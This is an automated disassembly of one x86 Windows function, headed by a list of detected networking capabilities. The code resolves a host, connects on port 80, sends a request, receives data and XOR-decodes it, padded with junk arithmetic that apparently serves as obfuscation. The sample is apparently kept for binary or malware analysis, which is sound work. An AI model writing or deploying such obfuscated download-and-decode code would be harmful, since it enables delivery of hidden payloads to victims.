Function at 0x408270
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c340
push 0xffffffffffffffff
push 0x41e26b
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x4260f0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
xor edx, edx
mov word [ebp - 0x24], dx
xor eax, eax
mov word [ebp - 0x2c], ax
fst dword [ebp - 0x38]
mov dword [ebp - 0x34], ebx
xor ecx, ecx
mov word [ebp - 0x30], cx
fstp dword [ebp - 0x20]
fldz
mov word [ebp - 0x14], dx
fst qword [ebp - 0x40]
mov byte [ebp + 0x11bc], al
mov eax, esi
mov dword [ebp - 0x44], ebx
fstp qword [ebp - 0x4c]
mov byte [ebp - 4], 1
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408320
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x40876a
xor eax, eax
cmp eax, edi
jg 0x408392
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x40838f
mov byte [ebp + eax + 0x13bc], 0
mov ecx, eax
cmp ecx, edi
jg 0x408392
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
mov dx, word [ebp - 0x30]
mov bx, word [ebp - 0x2c]
movsx edx, dx
movsx ebx, bx
sub ebx, edx
mov edx, dword [0x425f2c]
add edx, ebx
mov ebx, dword [0x423bf8]
imul ebx, edx
mov dword [0x423bf8], ebx
inc ecx
jmp 0x408353
inc eax
jmp 0x408336
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
jmp 0x4083a0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4083a0
mov edi, dword [ebp - 0x18]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4083b3
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x4086ed
mov eax, edi
mov edx, edi
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4083d0
lea edi, [ebp + 0x11bc]
or ebx, 0xffffffff
sub eax, edx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4083e4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x424e20
rep movsb byte es:[edi], byte [esi]
call fcn.004026c0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408410
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407eb0
fldz
mov cx, word [0x423c0c]
movzx edx, word [ebp - 0x30]
movsx eax, cx
lea eax, [edx + eax + 0x6fcb7bce]
mov word [0x423c0c], ax
xor eax, eax
xor ecx, ecx
fstp qword [ebp - 0x1c]
mov dword [esi], eax
mov word [ebp - 0x30], cx
push esi
mov byte [esi + 4], al
call fcn.0040ae7f
add esp, 4
fld dword [0x4244e8]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [0x4244e8]
fld qword [0x425198]
fsub qword [0x41f948]
fld dword [0x4244e8]
fsub qword [0x41f940]
fcompp
fnstsw ax
fadd qword [0x425198]
fstp qword [0x425198]
test ah, 5
jp 0x4084b3
inc dword [0x4251a4]
mov edx, dword [0x4251a4]
add edx, 0x68b2911f
mov dword [0x423cac], edx
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4084c0
sub eax, edx
push eax
lea eax, [ebp + 0x11bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00408130
push 0x32
push 0x42515c
call fcn.004026c0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4084f0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408130
mov ecx, dword [0x424374]
mov dx, word [ebp - 0x24]
sub ecx, 0x56ffe078
movsx eax, dx
mov dword [ebp - 0x18], ecx
add eax, 0x60870036
fild dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fadd qword [0x423e10]
fcompp
fnstsw ax
fld qword [0x423e10]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [0x423e10]
add dword [0x424374], ebx
test ah, 0x41
jp 0x40857a
fld dword [ebp - 0x20]
mov ecx, dword [0x4241b0]
fadd qword [0x41f938]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fmulp st(1)
call fcn.0040b420
mov dword [0x4241b0], eax
fadd dword [ebp - 0x20]
fstp dword [ebp - 0x20]
jmp 0x408595
mov edx, dword [ebp - 0x34]
fstp st(0)
cmp edx, 0x472561c4
jl 0x408595
movzx eax, word [ebp - 0x14]
imul eax, eax, 0xacc1aaa5
mov word [ebp - 0x14], ax
fldz
xor ecx, ecx
push 0x32
fstp qword [ebp - 0x1c]
push ecx
mov word [ebp - 0x24], cx
push esi
call fcn.0040af10
push esi
call fcn.0040ae7f
inc dword [ebp - 0x14]
mov dx, word [ebp - 0x14]
movsx eax, dx
mov dword [ebp - 0x18], eax
add esp, 0x10
fild dword [ebp - 0x18]
fld qword [ebp - 0x40]
mov cx, word [ebp - 0x14]
fsubr qword [0x41f930]
movsx edx, cx
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fsubp st(1)
fsubp st(1)
call fcn.0040b420
mov word [ebp - 0x14], ax
fld qword [ebp - 0x40]
fsub qword [0x41f358]
lea eax, [ebp + 0x13bc]
lea edx, [eax + 1]
fstp qword [ebp - 0x40]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408600
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00408130
push 5
push 0x424edc
call fcn.004026c0
fld qword [ebp - 0x4c]
mov ecx, dword [ebp - 0x34]
fadd qword [0x41f928]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
add esp, 8
mov esi, eax
fmulp st(1)
call fcn.0040b420
mov dword [ebp - 0x34], eax
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408650
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408130
fld qword [ebp - 0x40]
fsub qword [0x41f920]
xor eax, eax
xor edx, edx
mov dword [esi], eax
fstp qword [ebp - 0x40]
push esi
fldz
mov byte [esi + 4], al
fstp qword [ebp - 0x1c]
mov word [ebp - 0x24], dx
call fcn.0040ae7f
mov ax, word [str.Ra_O]
movzx ecx, word [ebp - 0x14]
cwde
lea edx, [ecx + eax - 0x7b7f7066]
add esp, 4
lea eax, [ebp]
push eax
mov word [str.Ra_O], dx
add dword [ebp - 0x14], ebx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4086ff
fld qword [ebp - 0x40]
fadd qword [0x41f358]
fstp qword [ebp - 0x40]
mov cx, word [str.Ra_O]
movsx edx, cx
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fld qword [ebp - 0x40]
fsubr qword [0x41f918]
fsubp st(1)
call fcn.0040b420
mov word [str.Ra_O], ax
cmp dword [ebp + 0x1b8], 0x10
jb 0x40876a
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x408762
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x30], esi
cmp esi, ebx
jne 0x40878f
fld dword [0x424338]
mov ecx, dword [0x424194]
fsub qword [0x41f910]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
faddp st(1)
call fcn.0040b420
mov dword [0x424194], eax
fld dword [0x424338]
fadd qword [0x41f358]
fstp dword [0x424338]
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x40876a
mov edx, dword [ebp + 0x1a4]
push edx
call fcn.0040aa08
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b504
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x1458], 0
je 0x4087e5
mov ax, word [0x425fe8]
mov dx, word [ebp - 0x14]
movsx ecx, ax
mov eax, 0x2198e71
sub eax, ecx
movsx ecx, dx
sub eax, ecx
cmp eax, 0xb27d8da3
jge 0x4087cc
movzx edx, word [0x423dec]
add edx, 0x73e87f45
mov word [0x423dec], dx
push 4
lea eax, [ebp + 0x1458]
push eax
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
fld qword [0x425270]
lea ecx, [ebp + 0x13bc]
fmul qword [0x41f908]
push ecx
fstp qword [0x425270]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x408752
mov ecx, 2
mov word [ebp + 0x190], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
fld dword [0x4241cc]
mov dx, word [ebp - 0x14]
mov dword [ebp + 0x194], eax
movsx eax, dx
mov ecx, 0xe0123f51
sub ecx, eax
mov dword [ebp - 0x18], ecx
push 0x50
fisub dword [ebp - 0x18]
fstp dword [0x4241cc]
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, ebx
jne 0x408880
cmp dword [ebp + 0x1b8], edi
jmp 0x4086f4
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408894
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push 0
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x4088b7
cmp dword [ebp + 0x1b8], edi
jmp 0x408759
mov ecx, dword [ebp - 0x28]
push 0
push 0x41f900
call fcn.00407eb0
add dword [0x425f2c], 0x99aaed07
add dword [ebp - 0x34], 0xbb6712fd
mov edi, ebx
mov ecx, dword [ebp - 0x30]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408a52
mov ecx, dword [ebp - 0x28]
push eax
lea edx, [ebp + 0x1bc]
push edx
call fcn.00408130
inc dword [ebp - 0x2c]
fld qword [ebp - 0x4c]
mov ax, word [ebp - 0x2c]
movsx ecx, ax
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fsubp st(1)
fstp qword [ebp - 0x4c]
test edi, edi
jge 0x408a01
push 5
push 0x424edc
call fcn.004026c0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408940
mov ecx, dword [ebp - 0x28]
sub eax, edx
push eax
push 0
push esi
call fcn.00404760
fldz
mov edi, eax
fstp qword [ebp - 0x1c]
xor eax, eax
xor edx, edx
mov dword [esi], eax
push esi
mov word [ebp - 0x24], dx
mov byte [esi + 4], al
call fcn.0040ae7f
add esp, 4
test edi, edi
jl 0x408a01
mov eax, dword [ebp - 0x28]
push eax
add edi, 4
call fcn.00407640
mov ebx, eax
add esp, 4
mov dword [ebp - 0x18], ebx
test ebx, ebx
jge 0x4089c6
push 0xb
push 0x424ea0
call fcn.004026c0
mov ecx, dword [ebp - 0x28]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00406650
push esi
push 0xb
mov ebx, eax
call fcn.00401f80
add esp, 8
test ebx, ebx
jge 0x408a52
mov ebx, dword [ebp - 0x18]
fld qword [0x4244d0]
fsub qword [0x41f358]
fstp qword [0x4244d0]
fld qword [0x4244d0]
fsub qword [0x41f8f8]
fld qword [0x424340]
mov cx, word [ebp - 0x14]
movsx edx, cx
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
faddp st(2)
fsubrp st(1)
fstp qword [0x424340]
test ebx, ebx
jl 0x408a11
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408a52
cmp dword [ebp + 0x1458], 0
je 0x4088d9
fld qword [0x4230c8]
mov ecx, dword [ebp - 0x28]
fadd qword [0x41f8f0]
fstp qword [0x424f08]
fld qword [0x4230c8]
fsub qword [0x41f358]
fstp qword [0x4230c8]
cmp dword [ecx + 0x14], 0x4000
jb 0x4088d9
mov edx, dword [ebp - 0x30]
push edx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
mov esi, 1
add dword [ebp - 0x2c], esi
fld qword [0x4244e0]
fld dword [ebp - 0x20]
fsub dword [ebp - 0x38]
mov ax, word [ebp - 0x2c]
movsx ecx, ax
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fsubp st(1)
fcompp
fnstsw ax
fld dword [ebp - 0x20]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x20]
test ah, 0x41
jp 0x408ac1
mov dx, word [ebp - 0x14]
movsx eax, dx
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fld dword [ebp - 0x38]
fsub qword [0x41f8e8]
fsubp st(1)
call fcn.0040b420
mov word [ebp - 0x14], ax
fadd dword [ebp - 0x38]
fstp dword [ebp - 0x38]
jmp 0x408ac3
fstp st(0)
test edi, edi
jl 0x408ad6
push edi
mov edi, dword [ebp - 0x28]
push 0
mov ecx, edi
call fcn.004065c0
jmp 0x408ad9
mov edi, dword [ebp - 0x28]
fld dword [0x42435c]
mov bl, byte [ebp + 0x1454]
fsub qword [0x41f8e0]
fstp dword [0x42435c]
test bl, bl
je 0x408ba5
add dword [ebp - 0x14], esi
mov cx, word [ebp - 0x14]
movsx edx, cx
sub dword [ebp - 0x44], edx
xor esi, esi
jmp 0x408b10
cmp esi, dword [edi + 0x14]
jae 0x408ba5
fld dword [ebp - 0x20]
fsub dword [0x425fb0]
fsub qword [0x41f8d8]
fld qword [ebp - 0x40]
mov ax, word [0x425fe8]
mov dx, word [ebp - 0x14]
movsx ecx, ax
mov dword [ebp - 0x18], ecx
movsx eax, dx
fild dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
fsubp st(1)
fild dword [ebp - 0x18]
faddp st(1)
fucompp
fnstsw ax
test ah, 0x44
jnp 0x408b66
fld qword [str..__mK]
fsub qword [0x41f8d0]
fstp qword [str..__mK]
cmp esi, dword [edi + 0x14]
jbe 0x408b70
call fcn.0040b670
cmp dword [edi + 0x18], 0x10
jb 0x408b7b
mov eax, dword [edi + 4]
jmp 0x408b7e
lea eax, [edi + 4]
fld dword [ebp - 0x20]
xor byte [eax + esi], bl
fsub qword [0x41f8c8]
inc esi
fsub dword [ebp - 0x20]
fadd qword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld dword [ebp - 0x20]
fsub qword [0x41f358]
fstp dword [ebp - 0x20]
jmp 0x408b10
cmp dword [ebp + 0x1b8], 0x10
jb 0x40876a
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x408762